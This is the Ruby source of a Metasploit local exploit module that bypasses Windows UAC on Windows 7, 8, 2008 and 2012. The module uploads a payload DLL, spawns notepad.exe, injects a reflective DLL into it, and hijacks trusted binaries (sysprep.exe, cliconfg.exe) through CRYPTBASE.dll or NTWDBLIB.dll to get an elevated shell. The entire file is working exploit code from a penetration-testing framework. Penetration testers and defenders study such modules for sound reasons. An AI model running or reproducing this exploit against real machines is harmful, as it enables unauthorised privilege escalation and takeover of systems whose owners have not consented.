271 lines
8.9 KiB
Ruby
271 lines
8.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/exe'
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class Metasploit3 < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Exploit::EXE
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include Exploit::FileDropper
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include Post::File
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include Post::Windows::Priv
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include Post::Windows::ReflectiveDLLInjection
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include Post::Windows::Runas
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
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'Description' => %q{
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This module will bypass Windows UAC by utilizing the trusted publisher
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certificate through process injection. It will spawn a second shell that
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has the UAC flag turned off. This module uses the Reflective DLL Injection
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technique to drop only the DLL payload binary instead of three seperate
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binaries in the standard technique. However, it requires the correct
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architecture to be selected, (use x64 for SYSWOW64 systems also).
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If specifying EXE::Custom your DLL should call ExitProcess() after starting
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your payload in a seperate process.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
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'mitnick',
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'mubix', # Port to local exploit
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'Ben Campbell', # In memory technique
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'Lesage', # Win8+ updates
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'OJ Reeves' # Win 8+ updates
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' => [
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[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
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[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
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],
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'DefaultTarget' => 0,
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'References' => [
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[
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'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
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'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
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]
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],
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'DisclosureDate'=> 'Dec 31 2010'
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))
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end
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def exploit
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# Validate that we can actually do things before we bother
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# doing any more work
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validate_environment!
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check_permissions!
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# get all required environment variables in one shot instead. This
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# is a better approach because we don't constantly make calls through
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# the session to get the variables.
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env_vars = get_envs('TEMP', 'WINDIR')
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case get_uac_level
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when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
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UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
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UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
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fail_with(Exploit::Failure::NotVulnerable,
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"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
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)
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when UAC_DEFAULT
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print_good('UAC is set to Default')
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print_good('BypassUAC can bypass this setting, continuing...')
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when UAC_NO_PROMPT
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print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
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shell_execute_exe
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return
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end
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dll_path = bypass_dll_path
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payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
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upload_payload_dll(payload_filepath)
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pid = spawn_inject_proc(env_vars['WINDIR'])
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file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
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run_injection(pid, dll_path, file_paths)
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# Windows 7 this is cleared up by DLL but on Windows
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# 8.1 it fails to delete the the file.
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register_file_for_cleanup(file_paths[:szElevDllFull])
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end
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def bypass_dll_path
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# path to the bypassuac binary
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path = ::File.join(Msf::Config.data_directory, 'post')
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# decide, x86 or x64
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sysarch = sysinfo['Architecture']
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if sysarch =~ /x64/i
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unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
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fail_with(
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Exploit::Failure::BadConfig,
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'x86 Target Selected for x64 System'
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)
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end
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return ::File.join(path, 'bypassuac-x64.dll')
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else
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if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
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fail_with(
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Exploit::Failure::BadConfig,
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'x64 Target Selected for x86 System'
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)
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end
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return ::File.join(path, 'bypassuac-x86.dll')
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end
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end
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def check_permissions!
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# Check if you are an admin
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vprint_status('Checking admin status...')
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admin_group = is_in_admin_group?
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if admin_group.nil?
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print_error('Either whoami is not there or failed to execute')
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print_error('Continuing under assumption you already checked...')
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else
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if admin_group
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print_good('Part of Administrators group! Continuing...')
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else
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fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
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end
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end
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if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
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fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
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end
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end
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def run_injection(pid, dll_path, file_paths)
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vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
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begin
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path_struct = create_struct(file_paths)
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vprint_status("Opening process #{pid}")
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host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
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exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
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vprint_status("Injecting struct into #{pid}")
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struct_addr = host_process.memory.allocate(path_struct.length)
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host_process.memory.write(struct_addr, path_struct)
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vprint_status('Executing payload')
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thread = host_process.thread.create(exploit_mem + offset, struct_addr)
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print_good("Successfully injected payload in to process: #{pid}")
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client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
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rescue Rex::Post::Meterpreter::RequestError => e
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print_error("Failed to Inject Payload to #{pid}!")
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vprint_error(e.to_s)
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end
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end
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# Create a process in the native architecture
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def spawn_inject_proc(win_dir)
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print_status('Spawning process with Windows Publisher Certificate, to inject into...')
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if sysinfo['Architecture'] =~ /wow64/i
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cmd = "#{win_dir}\\sysnative\\notepad.exe"
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else
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cmd = "#{win_dir}\\System32\\notepad.exe"
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end
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pid = cmd_exec_get_pid(cmd)
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unless pid
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fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
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end
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pid
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end
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def upload_payload_dll(payload_filepath)
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payload = generate_payload_dll({:dll_exitprocess => true})
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print_status('Uploading the Payload DLL to the filesystem...')
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begin
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vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
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write_file(payload_filepath, payload)
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register_file_for_cleanup(payload_filepath)
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rescue Rex::Post::Meterpreter::RequestError => e
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fail_with(
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Exploit::Failure::Unknown,
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"Error uploading file #{payload_filepath}: #{e.class} #{e}"
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)
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end
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end
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def validate_environment!
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fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
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winver = sysinfo['OS']
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case winver
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when /Windows (7|8|2008|2012)/
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print_good("#{winver} may be vulnerable.")
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else
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fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
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end
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if is_uac_enabled?
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print_status('UAC is Enabled, checking level...')
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else
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unless is_in_admin_group?
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fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
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end
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end
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end
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def get_file_paths(win_path, payload_filepath)
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paths = {}
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case sysinfo['OS']
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when /Windows (7|2008)/
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paths[:szElevDll] = 'CRYPTBASE.dll'
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paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
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paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
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paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
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when /Windows (8|2012)/
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paths[:szElevDll] = 'NTWDBLIB.dll'
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paths[:szElevDir] = "#{win_path}\\System32"
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# This should be fine to be left blank
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paths[:szElevDirSysWow64] = ''
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paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
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end
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paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
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paths[:szTempDllPath] = payload_filepath
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paths
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end
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# Creates the paths struct which contains all the required paths
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# the dll needs to copy/execute etc.
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def create_struct(paths)
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# write each path to the structure in the order they
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# are defined in the bypass uac binary.
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struct = ''
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struct << fill_struct_path(paths[:szElevDir])
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struct << fill_struct_path(paths[:szElevDirSysWow64])
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struct << fill_struct_path(paths[:szElevDll])
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struct << fill_struct_path(paths[:szElevDllFull])
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struct << fill_struct_path(paths[:szElevExeFull])
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struct << fill_struct_path(paths[:szTempDllPath])
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struct
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end
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def fill_struct_path(path)
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path = Rex::Text.to_unicode(path)
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path + "\x00" * (520 - path.length)
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end
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end
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